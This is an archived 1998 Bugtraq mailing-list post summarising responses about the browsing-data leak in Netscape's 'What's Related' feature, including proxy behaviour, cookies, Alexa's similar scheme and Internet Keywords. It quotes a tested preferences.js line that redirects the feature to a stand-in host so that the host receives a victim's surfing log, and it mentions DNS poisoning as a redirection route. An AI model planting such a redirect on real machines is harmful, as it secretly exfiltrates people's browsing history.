[8512] in bugtraq
Re: Netscape "What's Related" (summary)
daemon@ATHENA.MIT.EDU (Flemming S. Johansen)
Thu Nov 12 13:25:26 1998
Date: Thu, 12 Nov 1998 15:23:30 +0100
Reply-To: "Flemming S. Johansen" <fsj@terma.com>
From: "Flemming S. Johansen" <fsj@TERMA.COM>
To: BUGTRAQ@NETSPACE.ORG
#define WR "What's Related"
I have received several emails pointing out that the default setting
for WR is "After first use". Sorry about that mistake.
I have also received several emails with various suggestions for how to
block WR info-leak using various web server, firewall or proxy server
configuration tricks. Thanks guys, I really appreciate the effort. But
my original posting was more about alerting others to what I see as a
"torpedo" feature in a commodity application, rather than a cry for
help. (I had blocked WR in our firewall before posting.)
John Hensley reports that Netscape-4.07 apparently disables WR if it is
configured to go through a proxy server. I have not been able to verify
this since I do not have a proxy server to test against. Can anyone
confirm or refute this?
George Hotelling points out that Netscape has a FAQ about WR, at:
http://home.netscape.com/escapes/related/faq.html, and that WR does not
send the parameters to a CGI.
Perry Harrington and Kragen point out that DNS cache poisoning could be
used to direct the WR lookups to an attacking host. This made me wonder
just how the netscape binary gets the www-rl.netscape.com hostname. It
turns out to be a built-in preference: pref("browser.related.provider",
"http://www-rl.netscape.com/wtgn?"); If the preferences.js file is
"enhanced" with something like: user_pref("browser.related.provider",
"http://www.example.com/snoop?");, www.example.com will receive a
near-realtime surfing log of the victim. I tested this with
Netscape-4.06, and it seems to work. Of course, it could also enable an
admin to direct WR queries to a server of his/her choice, without
messing with a firewall. I wonder if it is possible to modify browser
preferences with a javascript applet? If so, then setting
browser.related.autoload to 0 and browser.related.enabled to true will
force WR to 'always' and 'enabled'.
Doug Monroe pointed me to a paper he co-authored:
http://www.interhack.net/pubs/whatsrelated/, which contains a more
detailed study of the WR implementation. It turns out that the WR
feature also passes a cookie to www-rl.netscape.com on each query: the
same cookie you get for all your netscape.com accesses. Doug also
points out, that Netscape is not alone here: The basic technology was
developed by Alexa Internet. Alexa still offers a free product with
essentially the same functionality as WR. The alexa scheme is a bit
more dynamic than Netscape's: The alexa client queries olin.alexa.com
for a current list of WR servers. The caution about DNS also applies
here.
Dimitry Andric points out that the "Internet Keywords" feature in
Netscape can also be problematic: It causes the browser to do a
search-engine query at keyword.netscape.com. This is also a settable
preference: user_pref("network.search.url", "http://keyword.netscape.com/");
will do the trick. The caution about DNS also applies here.
One bit of good news: It seems that WR is disabled automatically for
https: URLs.
Some WR links:
http://home.netscape.com/escapes/related/faq.html
http://www.interhack.net/pubs/whatsrelated/
http://www.vortex.com/privacy/priv.07.17
http://news.flora.org/flora.comnet-www/1335
--
----------------------------------------------------------------------
Flemming S. Johansen
fsj@terma.com
